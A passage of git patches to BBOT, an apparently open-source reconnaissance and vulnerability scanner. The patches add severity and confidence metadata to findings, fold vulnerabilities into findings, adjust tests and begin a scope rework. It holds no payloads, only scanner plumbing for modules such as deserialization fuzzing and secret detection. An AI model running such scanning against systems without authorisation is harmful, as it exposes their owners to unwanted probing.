0738812677baacb18e1a183c04603d1579b33984 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 15:21:35 -0400 Subject: [PATCH 158/912] more test fixes --- bbot/test/test_step_1/test_manager_scope_accuracy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 312df46db0..44163295f6 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -270,7 +270,7 @@ async def filter_event(self, event): async def handle_event(self, event): await self.emit_event( - {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED"}, "FINDING", parent=event + {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event ) def custom_setup(scan): From 6c715714e58e367ab8e019d72c31b8c760780fca Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 15:26:17 -0400 Subject: [PATCH 159/912] test stuff omg --- bbot/core/event/base.py | 1 - bbot/test/test_step_1/test_events.py | 51 +++++++++++++++++++++++----- 2 files changed, 42 insertions(+), 10 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 6cdc553543..07eb8671cf 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1541,7 +1541,6 @@ class FINDING(ClosestHostEvent): "UNKNOWN": "⚪", } - def sanitize_data(self, data): self.add_tag(f"severity-{data['severity'].lower()}") self.add_tag(f"confidence-{data['confidence'].lower()}") diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 97320bad12..824ab6d146 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -420,7 +420,6 @@ async def test_events(events, helpers): dummy=True, ) - # technology should be lowercased tech_event = scan.make_event( {"host": "evilcorp.com", "technology": "HTTP", "url": "http://evilcorp.com/test"}, @@ -982,14 +981,20 @@ def test_event_closest_host(): assert not event3.host # finding automatically uses the host from the second event finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3 + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + "FINDING", + parent=event3, ) assert finding.data["host"] == "www.evilcorp.com" assert finding.data["url"] == "http://www.evilcorp.com/asdf" assert finding.data["path"] == "/tmp/asdf.txt" assert finding.host == "www.evilcorp.com" # same with vuln - vuln = scan.make_event({"description": "test", "severity": "HIGH", "confidence": "HIGH", "name": "Test Finding"}, "FINDING", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "confidence": "HIGH", "name": "Test Finding"}, + "FINDING", + parent=event3, + ) assert vuln.data["host"] == "www.evilcorp.com" assert vuln.data["url"] == "http://www.evilcorp.com/asdf" assert vuln.data["path"] == "/tmp/asdf.txt" @@ -1000,32 +1005,60 @@ def test_event_closest_host(): assert not event3.host with pytest.raises(ValueError): finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, "FINDING", parent=event3 + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + "FINDING", + parent=event3, ) finding = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + { + "path": "/tmp/asdf.txt", + "description": "test", + "severity": "LOW", + "confidence": "MODERATE", + "name": "Test Finding", + }, "FINDING", parent=event3, ) assert finding is not None finding = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + { + "host": "evilcorp.com", + "description": "test", + "severity": "LOW", + "confidence": "MODERATE", + "name": "Test Finding", + }, "FINDING", parent=event3, ) assert finding is not None with pytest.raises(ValueError): vuln = scan.make_event( - {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event3 + {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, + "FINDING", + parent=event3, ) vuln = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, + { + "path": "/tmp/asdf.txt", + "description": "test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "name": "Test Finding", + }, "FINDING", parent=event3, ) assert vuln is not None vuln = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, + { + "host": "evilcorp.com", + "description": "test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "name": "Test Finding", + }, "FINDING", parent=event3, ) From cd656333e034b175abb82014d99c2f7ba3d9382a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 17:11:21 -0400 Subject: [PATCH 160/912] minor test fixes --- bbot/modules/output/web_report.py | 2 +- .../test/test_step_2/module_tests/test_module_web_report.py | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 587533f58b..b6bee30e92 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -89,7 +89,7 @@ async def report(self): if e in dedupe: continue dedupe.append(e) - self.markdown += f"\n* {e}\n" + self.markdown += f"* {e}\n" self.markdown += "\n" if self.file is not None: diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index cfaa90f217..790facd92b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -17,7 +17,9 @@ def check(self, module_test, events): report_file = module_test.scan.home / "web_report.html" with open(report_file) as f: report_content = f.read() - assert "<li>[CRITICAL] Known Secret Found" in report_content + assert "<li>Severity: [CRITICAL] Confidence: [" in report_content + assert "CONFIRMED" in report_content + assert "Known Secret Found" in report_content assert ( """<h3>URL</h3> <ul> @@ -26,7 +28,7 @@ def check(self, module_test, events): ) assert """Possible Secret Found. Detector Type: [PrivateKey]""" in report_content assert "<h3>TECHNOLOGY</h3>" in report_content - assert "<p>flask</p>" in report_content + assert "<li>flask</li>" in report_content web_body = """ From 7380a190db6c9f750ab483ece67198dfdab2fe66 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 17:42:37 -0400 Subject: [PATCH 161/912] fixing another test --- bbot/test/test_step_2/module_tests/test_module_discord.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index 78cafc1744..73b6e864e4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -8,7 +8,7 @@ class TestDiscord(ModuleTestBase): modules_overrides = ["discord", "excavate", "badsecrets", "httpx"] webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf" - config_overrides = {"modules": {"discord": {"webhook_url": webhook_url}}} + config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} def custom_setup(self, module_test): respond_args = { From be80ddf55b596bf29fa5ed1b5e769efb836335de Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 17 Oct 2025 19:04:30 -0400 Subject: [PATCH 162/912] more test fixes --- .../test/test_step_2/module_tests/test_module_excavate.py | 8 ++++---- .../test_step_2/module_tests/test_module_web_report.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 85f5882d64..5573edf2eb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -181,18 +181,18 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): found_js_url_event = False - found_badsecrets_vulnerability = False + found_badsecrets_finding = False found_excavate_jwt_finding = False for e in events: if e.type == "URL" and e.data == "http://127.0.0.1:8888/script.js": found_js_url_event = True if e.type == "FINDING" and "JWT" in e.data["description"] and str(e.module) == "excavate": found_excavate_jwt_finding = True - if e.type == "VULNERABILITY": - found_badsecrets_vulnerability = True + if e.type == "FINDING" and "BadSecrets" in e.data["name"] and str(e.module) == "badsecrets": + found_badsecrets_finding = True assert found_js_url_event, "Failed to find URL event for script.js" - assert found_badsecrets_vulnerability, "Failed to find BADSECRETs event from script.js" + assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" assert found_excavate_jwt_finding, "Failed to find JWT finding from script.js" diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index 790facd92b..03e9c4e080 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -9,7 +9,7 @@ class TestWebReport(ModuleTestBase): async def setup_before_prep(self, module_test): # trufflehog --> FINDING # wappalyzer --> TECHNOLOGY - # badsecrets --> VULNERABILITY + # badsecrets --> FINDING respond_args = {"response_data": web_body} module_test.set_expect_requests(respond_args=respond_args) From 767b537c029c6188d12188cce24cdbe6cd2fbf0e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 28 Oct 2025 15:08:54 -0400 Subject: [PATCH 163/912] updating finding metadata --- bbot/modules/graphql_introspection.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index 7a6864cfd7..df9b84fd4f 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -142,6 +142,8 @@ async def handle_event(self, event): "url": url, "description": f"GraphQL Schema at {url}", "path": relative_path, + "severity": "INFORMATIONAL", + "confidence": "CONFIRMED", }, "FINDING", event, From 55aec4059bf1885b4a79fe516ac4ace5e68fdd9a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 28 Oct 2025 17:28:05 -0400 Subject: [PATCH 164/912] add name --- bbot/modules/lightfuzz/submodules/serial.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index c036846c84..58837f06be 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -184,6 +184,7 @@ def get_title(text): self.debug(f"Error string '{serialization_error}' found in response for {type}") self.results.append( { + "name": "Possible Unsafe Deserialization", "severity": "HIGH", "confidence": "LOW", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]", From 760d5ce58b0032787c571e40c523ba1a58e883ef Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 29 Oct 2025 11:25:49 -0400 Subject: [PATCH 165/912] fixing wpscan --- bbot/modules/wpscan.py | 2 ++ bbot/test/test_step_2/module_tests/test_module_wpscan.py | 5 ++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index dd44b12079..0bb6f112a1 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -179,6 +179,8 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): "url": url, "host": str(source_event.host), "name": "WPScan - Possible Vulnerability", + "severity": "INFORMATIONAL", + "confidence": "MODERATE", }, "FINDING", source_event, diff --git a/bbot/test/test_step_2/module_tests/test_module_wpscan.py b/bbot/test/test_step_2/module_tests/test_module_wpscan.py index 7b65dfb5ba..0e4c1bef3c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wpscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_wpscan.py @@ -1076,8 +1076,7 @@ async def wpscan_mock_run(*command, **kwargs): def check(self, module_test, events): findings = [e for e in events if e.type == "FINDING"] - vulnerabilities = [e for e in events if e.type == "FINDING"] technologies = [e for e in events if e.type == "TECHNOLOGY"] - assert len(findings) == 1 - assert len(vulnerabilities) == 59 + # Original expectation: 1 finding + 59 vulnerabilities = 60 FINDING events (all are now FINDING events) + assert len(findings) == 60, f"Expected 60 FINDING events, got {len(findings)}" assert len(technologies) == 4 From 350691701a2269ff4732b5b1988b27f4a1b1df88 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 29 Oct 2025 14:36:24 -0400 Subject: [PATCH 166/912] fix ntlm module --- bbot/modules/ntlm.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 90c5a986c2..73cf83b6bd 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -121,6 +121,8 @@ async def handle_event(self, event): "url": url, "description": f"NTLM AUTH: {ntlm_resp_decoded}", "name": "NTLM Authentication", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, From 0e2c00ecefc2f7ecbbc8efd5b0b553755eb9b7dd Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 29 Oct 2025 14:43:41 -0400 Subject: [PATCH 167/912] various small fixes --- bbot/modules/retirejs.py | 1 + bbot/test/test_step_2/module_tests/test_module_slack.py | 2 +- bbot/test/test_step_2/module_tests/test_module_teams.py | 6 ++---- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index 4b58c1b23d..e7c3da3a9f 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -186,6 +186,7 @@ async def handle_event(self, event): "name": "Vulnerable JavaScript Library", "description": description, "severity": severity, + "confidence": "HIGH", "component": component, "url": event.parent.data["url"], } diff --git a/bbot/test/test_step_2/module_tests/test_module_slack.py b/bbot/test/test_step_2/module_tests/test_module_slack.py index 1258ed5110..a2809bcaf1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_slack.py +++ b/bbot/test/test_step_2/module_tests/test_module_slack.py @@ -4,4 +4,4 @@ class TestSlack(DiscordBase): modules_overrides = ["slack", "excavate", "badsecrets", "httpx"] webhook_url = "https://hooks.slack.com/services/deadbeef/deadbeef/deadbeef" - config_overrides = {"modules": {"slack": {"webhook_url": webhook_url}}} + config_overrides = {"modules": {"slack": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py index 382201e51f..749472cbef 100644 --- a/bbot/test/test_step_2/module_tests/test_module_teams.py +++ b/bbot/test/test_step_2/module_tests/test_module_teams.py @@ -7,7 +7,7 @@ class TestTeams(DiscordBase): modules_overrides = ["teams", "excavate", "badsecrets", "httpx"] webhook_url = "https://evilcorp.webhook.office.com/webhookb2/deadbeef@deadbeef/IncomingWebhook/deadbeef/deadbeef" - config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5}}} + config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFORMATIONAL"}}} async def setup_after_prep(self, module_test): self.custom_setup(module_test) @@ -32,8 +32,6 @@ def custom_response(request: httpx.Request): module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): - vulns = [e for e in events if e.type == "FINDING"] findings = [e for e in events if e.type == "FINDING"] - assert len(findings) == 1 - assert len(vulns) == 2 + assert len(findings) == 3 assert module_test.request_count == 5 From 38b92732106fc86955b083beddf424df1b342b11 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 29 Oct 2025 15:25:41 -0400 Subject: [PATCH 168/912] lint --- bbot/test/test_step_2/module_tests/test_module_teams.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py index 749472cbef..788cf45f8b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_teams.py +++ b/bbot/test/test_step_2/module_tests/test_module_teams.py @@ -7,7 +7,9 @@ class TestTeams(DiscordBase): modules_overrides = ["teams", "excavate", "badsecrets", "httpx"] webhook_url = "https://evilcorp.webhook.office.com/webhookb2/deadbeef@deadbeef/IncomingWebhook/deadbeef/deadbeef" - config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFORMATIONAL"}}} + config_overrides = { + "modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFORMATIONAL"}} + } async def setup_after_prep(self, module_test): self.custom_setup(module_test) From aa80ff42c83f8c3b3f3a75f36bbcbff3477c4660 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 30 Oct 2025 13:38:44 -0400 Subject: [PATCH 169/912] fix oauth --- bbot/modules/oauth.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 559dea9313..dba3b52579 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -66,6 +66,8 @@ async def handle_event(self, event): "description": f"OpenID Connect Endpoint (domain: {source_domain}) found at {url}", "host": event.host, "url": url, + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, @@ -106,6 +108,8 @@ async def handle_event(self, event): "description": description, "host": event.host, "url": url, + "severity": "INFORMATIONAL", + "confidence": "LOW", }, "FINDING", parent=event, From 7ad0fa892b673b8781d37f48afdc06761057ec56 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 17 Nov 2025 15:18:46 -0500 Subject: [PATCH 170/912] fix finding sanitization --- bbot/core/event/base.py | 1 + bbot/core/helpers/validators.py | 6 ++++-- bbot/test/test_step_1/test_events.py | 6 +++++- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 07eb8671cf..3d1e7bdc19 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1542,6 +1542,7 @@ class FINDING(ClosestHostEvent): } def sanitize_data(self, data): + data = super().sanitize_data(data) self.add_tag(f"severity-{data['severity'].lower()}") self.add_tag(f"confidence-{data['confidence'].lower()}") return data diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 0d1b63e6c7..f94d7a4712 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -129,18 +129,20 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] raise ValidationError(f'Invalid hostname: "{host}"') +FINDING_SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in FINDING_SEVERITY_LEVELS: raise ValueError(f"Invalid severity: {severity}") return severity +FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") @validator def validate_confidence(confidence: str): confidence = str(confidence).strip().upper() - if confidence not in ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED"): + if confidence not in FINDING_CONFIDENCE_LEVELS: raise ValueError(f"Invalid confidence: {confidence}") return confidence diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 824ab6d146..cb20f67793 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -404,10 +404,14 @@ async def test_events(events, helpers): # test CONFIRMED gets bold formatting confirmed_finding = scan.make_event( - {"host": "test.com", "name": "Test", "description": "Test", "severity": "HIGH", "confidence": "CONFIRMED"}, + {"host": "test.com", "name": "Test", "description": "Test", "severity": "HIGH", "confidence": "CONFIRMED", "url": "http://test.com"}, "FINDING", dummy=True, ) + assert confirmed_finding.host == "test.com" + assert confirmed_finding.port == 80 + assert confirmed_finding.netloc == "test.com:80" + assert confirmed_finding.parsed_url.geturl() == "http://test.com/" pretty_string = confirmed_finding._pretty_string() assert "[\033[1mCONFIRMED\033[0m]" in pretty_string assert f"confidence-{confirmed_finding.data['confidence'].lower()}" in confirmed_finding.tags From ca85d8307e3cd16f0635f957cd9e3148d1fb80b9 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 17 Nov 2025 15:24:04 -0500 Subject: [PATCH 171/912] ruffed --- bbot/core/helpers/validators.py | 4 ++++ bbot/test/test_step_1/test_events.py | 9 ++++++++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index f94d7a4712..99479b6414 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -130,6 +130,8 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] FINDING_SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") + + @validator def validate_severity(severity: str): severity = str(severity).strip().upper() @@ -139,6 +141,8 @@ def validate_severity(severity: str): FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") + + @validator def validate_confidence(confidence: str): confidence = str(confidence).strip().upper() diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index cb20f67793..9a77ea77dd 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -404,7 +404,14 @@ async def test_events(events, helpers): # test CONFIRMED gets bold formatting confirmed_finding = scan.make_event( - {"host": "test.com", "name": "Test", "description": "Test", "severity": "HIGH", "confidence": "CONFIRMED", "url": "http://test.com"}, + { + "host": "test.com", + "name": "Test", + "description": "Test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "url": "http://test.com", + }, "FINDING", dummy=True, ) From 7ead0a4a00757d487a69ca0389dfa601372c1ee4 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 20 Nov 2025 15:39:54 -0500 Subject: [PATCH 172/912] scope rework initial --- bbot/core/event/base.py | 7 +- bbot/core/helpers/web/client.py | 6 +- bbot/core/modules.py | 12 ++ bbot/modules/base.py | 31 ++- bbot/modules/github_org.py | 2 +- bbot/modules/internal/dnsresolve.py | 38 ++-- bbot/modules/oauth.py | 2 +- bbot/modules/output/base.py | 4 +- bbot/modules/templates/subdomain_enum.py | 4 +- bbot/scanner/manager.py | 29 ++- bbot/scanner/preset/args.py | 27 +-- bbot/scanner/preset/preset.py | 93 ++++---- bbot/scanner/scanner.py | 30 ++- bbot/scanner/target.py | 65 +++--- bbot/test/bbot_fixtures.py | 8 +- bbot/test/test_step_1/test_presets.py | 240 ++++++++++----------- bbot/test/test_step_1/test_scan.py | 58 +++-- bbot/test/test_step_1/test_scope.py | 60 ++++-- bbot/test/test_step_1/test_target.py | 136 ++++++------ bbot/test/test_step_2/module_tests/base.py | 6 +- 20 files changed, 501 insertions(+), 357 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 3d1e7bdc19..f4c3ba9bd0 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -108,7 +108,7 @@ class BaseEvent: # Always emit this event type even if it's not in scope _always_emit = False # Always emit events with these tags even if they're not in scope - _always_emit_tags = ["affiliate", "target"] + _always_emit_tags = ["affiliate", "seed"] # Bypass scope checking and dns resolution, distribute immediately to modules # This is useful for "end-of-line" events like FINDING and VULNERABILITY _quick_emit = False @@ -596,6 +596,9 @@ def parent(self, parent): new_scope_distance += 1 self.scope_distance = new_scope_distance # inherit certain tags + # inherit seed tag from DNS_NAME_UNRESOLVED -> DNS_NAME only + if "seed" in parent.tags and parent.type == "DNS_NAME_UNRESOLVED" and self.type == "DNS_NAME": + self.add_tag("seed") if hosts_are_same: # inherit web spider distance from parent self.web_spider_distance = getattr(parent, "web_spider_distance", 0) @@ -1709,7 +1712,7 @@ def __init__(self, *args, **kwargs): class RAW_DNS_RECORD(DictHostEvent, DnsEvent): # don't emit raw DNS records for affiliates - _always_emit_tags = ["target"] + _always_emit_tags = ["seed"] class MOBILE_APP(DictEvent): diff --git a/bbot/core/helpers/web/client.py b/bbot/core/helpers/web/client.py index b76e6058ee..2d352b2f33 100644 --- a/bbot/core/helpers/web/client.py +++ b/bbot/core/helpers/web/client.py @@ -90,9 +90,9 @@ def build_request(self, *args, **kwargs): kwargs["url"] = url url = kwargs["url"] - target_in_scope = self._target.in_scope(str(url)) + in_target = self._target.in_target(str(url)) - if target_in_scope: + if in_target: if not kwargs.get("cookies", None): kwargs["cookies"] = {} for ck, cv in self._web_config.get("http_cookies", {}).items(): @@ -101,7 +101,7 @@ def build_request(self, *args, **kwargs): request = super().build_request(**kwargs) - if target_in_scope: + if in_target: for hk, hv in self._web_config.get("http_headers", {}).items(): hv = str(hv) # don't clobber headers diff --git a/bbot/core/modules.py b/bbot/core/modules.py index b6165aaef3..c19580584c 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -328,6 +328,7 @@ def preload_module(self, module_file): ansible_tasks = [] config = {} options_desc = {} + accept_seeds = None # None means use default (True for passive, False otherwise) python_code = open(module_file).read() # take a hash of the code so we can keep track of when it changes module_hash = sha1(python_code).hexdigest() @@ -364,6 +365,16 @@ def preload_module(self, module_file): elif any(target.id == "meta" for target in class_attr.targets): meta = ast.literal_eval(class_attr.value) + # class attributes that are boolean values (like accept_seeds) + if type(class_attr) == ast.Assign: + # Check for accept_seeds = True/False + if any(target.id == "accept_seeds" for target in class_attr.targets): + # Handle both ast.Constant (Python 3.8+) and ast.NameConstant (older) + if isinstance(class_attr.value, ast.Constant): + accept_seeds = class_attr.value.value + elif isinstance(class_attr.value, ast.NameConstant): + accept_seeds = class_attr.value.value + # class attributes that are lists if type(class_attr) == ast.Assign and type(class_attr.value) == ast.List: # flags @@ -430,6 +441,7 @@ def preload_module(self, module_file): "config": config, "options_desc": options_desc, "hash": module_hash, + "accept_seeds": accept_seeds, "deps": { "modules": sorted(deps_modules), "pip": deps_pip, diff --git a/bbot/modules/base.py b/bbot/modules/base.py index ee2d2c21a5..944ccc126f 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -51,6 +51,9 @@ class BaseModule: target_only (bool): Accept only the initial target event(s). Default is False. + accept_seeds (bool): Accept seed events (events from initial scan seeds). + Defaults to True for passive modules, False otherwise. Can be explicitly set to override the default. + in_scope_only (bool): Accept only explicitly in-scope events, regardless of the scan's search distance. Default is False. accept_url_special (bool): Accept "special" URLs not typically distributed to web modules, e.g. JS URLs. Default is False. @@ -98,6 +101,7 @@ class BaseModule: per_domain_only = False scope_distance_modifier = 0 target_only = False + _accept_seeds = None # None means "use default based on flags" in_scope_only = False accept_url_special = False _module_threads = 1 @@ -735,6 +739,23 @@ async def _worker(self): self.error(traceback.format_exc()) self.log.trace("Worker stopped") + @property + def accept_seeds(self): + """ + Returns whether the module accepts seed events. + Defaults to True for passive modules, False otherwise. + Can be explicitly overridden by setting _accept_seeds. + """ + if self._accept_seeds is not None: + return self._accept_seeds + # Default to True for passive modules, False otherwise + return "passive" in self.flags + + @accept_seeds.setter + def accept_seeds(self, value): + """Allow explicit setting of accept_seeds to override the default.""" + self._accept_seeds = value + @property def max_scope_distance(self): if self.in_scope_only or self.target_only: @@ -778,7 +799,12 @@ def _event_precheck(self, event): if self.errored: return False, "module is in error state" # exclude non-watched types - if not any(t in self.get_watched_events() for t in ("*", event.type)): + watched_events = self.get_watched_events() + event_type_watched = any(t in watched_events for t in ("*", event.type)) + # Check if module accepts seeds and event is a seed (only if event type is watched) + if self.accept_seeds and "seed" in event.tags and event_type_watched: + return True, "it is a seed event and module accepts seeds" + if not event_type_watched: return False, "its type is not in watched_events" if self.target_only: if "target" not in event.tags: @@ -857,6 +883,9 @@ async def _event_postcheck_inner(self, event): return True, "" def _scope_distance_check(self, event): + # Seeds bypass scope distance checks + if self.accept_seeds and "seed" in event.tags: + return True, "it is a seed event and module accepts seeds" if self.in_scope_only: if event.scope_distance > 0: return False, "it did not meet in_scope_only filter criteria" diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index 46b8b1935a..ff7cba4d42 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -90,7 +90,7 @@ async def handle_event(self, event): user = event.data self.verbose(f"Validating whether the organization {user} is within our scope...") is_org, in_scope = await self.validate_org(user) - if "target" in event.tags: + if "seed" in event.tags: in_scope = True if not is_org or not in_scope: self.verbose(f"Unable to validate that {user} is in-scope, skipping...") diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 3dddd289a4..97ac16e4ea 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -59,15 +59,15 @@ async def handle_event(self, event, **kwargs): non_minimal_rdtypes = self.non_minimal_rdtypes # first, we find or create the main DNS_NAME or IP_ADDRESS associated with this event - main_host_event, whitelisted, blacklisted, new_event = self.get_dns_parent(event) + main_host_event, in_target, blacklisted, new_event = 